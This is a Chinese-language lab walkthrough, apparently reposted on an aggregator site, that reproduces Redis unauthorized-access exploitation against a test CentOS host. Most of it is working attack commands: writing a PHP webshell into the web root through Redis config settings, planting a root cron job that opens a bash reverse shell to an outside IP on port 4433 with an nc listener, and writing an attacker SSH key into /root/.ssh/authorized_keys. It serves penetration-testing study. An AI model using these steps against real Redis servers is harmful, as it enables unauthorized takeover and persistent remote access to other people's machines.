redis未授权访问 您所在的位置:网站首页 复现实验 英文 redis未授权访问

redis未授权访问

2023-04-25 04:10| 来源: 网络整理| 查看: 265

redis未授权访问漏洞复现实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200攻击机器:Kali、IP地址:10.1.1.100

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

Redis未授权访问Redis 架构

Redis 客户端 redis-cli RedisRedis 服务器 redis-server客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

Redis 服务默认监听在6379端口上。

Redis常用命令redis连接远程服务器: redis-cli -h host -p port -a password set testkey "Hello World" # 设置键testkey的值为字符串 get testkey # 获取键testkey的内容 set score 99 # 设置键score的值为99 incr score # 使用INCR命令将score的值增加1 get score # 获取键score的内容 keys * # 列出当前数据库中所有的键 config set dir /home/test # 设置工作目录 config set dbfilename redis.rdb # 设置备份文件名 config get dir # 检查工作目录是否设置成功 config get dbfilename # 检查备份文件名是否设置成功 save # 进行一次备份操作 flushall # 删除所有数据 del key # 删除键为key的数据 Redis未授权访问的三种复现方式方式一,写入webshell

这个方法的前提条件是:1.知道网站根目录绝对路径。 2.对目标网站根目录有写入权限。

攻击步骤:1.对目标机器进行信息收集,看看端口是否开放了哪些。直接使用nmap -sV -p- -T4 10.1.1.200在这里插入图片描述发现目标机器开放80端口,有web服务,直接对其网址目录进行扫描。在这里插入图片描述通过对网址目录的扫描,发现了有个phpinfo.php页面,说明存在敏感信息泄露,可以知道这个网站是php搭建的,还可以获取到网站根目录绝对路径为/var/www/html。在这里插入图片描述

2.下载Redis客户端连接工具大家可以自行在网上找来下载,下载完成后,直接解压,编译,编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行。下面的方法是在公网上下载的步骤,大家有需要可以在自己公网机器上搭建一个。(在自己虚拟机里面搭建也是差不多这样子的步骤)

apt install redis-tools wget http://download.redis.io/releases/redis-6.0.3.tar.gz tar -zxvf redis-6.0.3.tar.gz cd redis-6.0 make cd src cp redis-cli /usr/bin

3.连接测试是否可以连接成功,直接redis-cli -h ip -p port当Ping 出现PONG的时候说明存在漏洞,连接成功在这里插入图片描述

4.进行写入webshell

redis-cli -h 10.1.1.200 -p 6379 //连接 config set dir /var/www/html //定义目录 config set dbfilename shell.php set x "" save

在这里插入图片描述注意: 不同版本的网站的绝对目录不同,这里是php的,输入dir 命令是放回错误,那就说明输入的网站的目录不正确,不存在这个目录,所以有时候要靠猜目录。

5.webshell写入成功后,去访问看看是否成功。在这里插入图片描述

6.使用webshell管理工具连接目标网站成功拿下机器在这里插入图片描述

方式二,写定时任务redis-cli -h 10.1.1.200 -p 6379 config set dir /var/spool/cron config set dbfilename root set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/43.139.44.143/4433 0>&1\n\n" save

在这里插入图片描述完成后记得save保存下,在攻击机器上监听反弹回来的端口即可。nc -lvvp 4433执行下命令,成功拿下。在这里插入图片描述

方式三,写ssh公钥

默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下我们可以cd /root/.sshls去进行查看

ssh-keygen -t rsa (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m //以上步骤在自己的攻击机器上执行 redis-cli -h 192.168.1.100 -p 6379 config set dir /root/.ssh/ config set dbfilename "authorized_keys" save

ssh-keygen -t rsa 先生成一个公钥在这里插入图片描述将公钥写入foo.txt文件使用cat 命令查看是否成功在这里插入图片描述

cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m 把写好文件传到给10.1.1.200在这里插入图片描述进行redis连接,设置备份文件路径和名字。在这里插入图片描述最后使用ssh连接,直接上线机器ssh [email protected] -i /root/.ssh/id_rsa

免责声明:本文仅限于进行安全测试,请勿使用来作攻击他人电脑,造成损失和违法犯罪行为与作者本人无关。


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有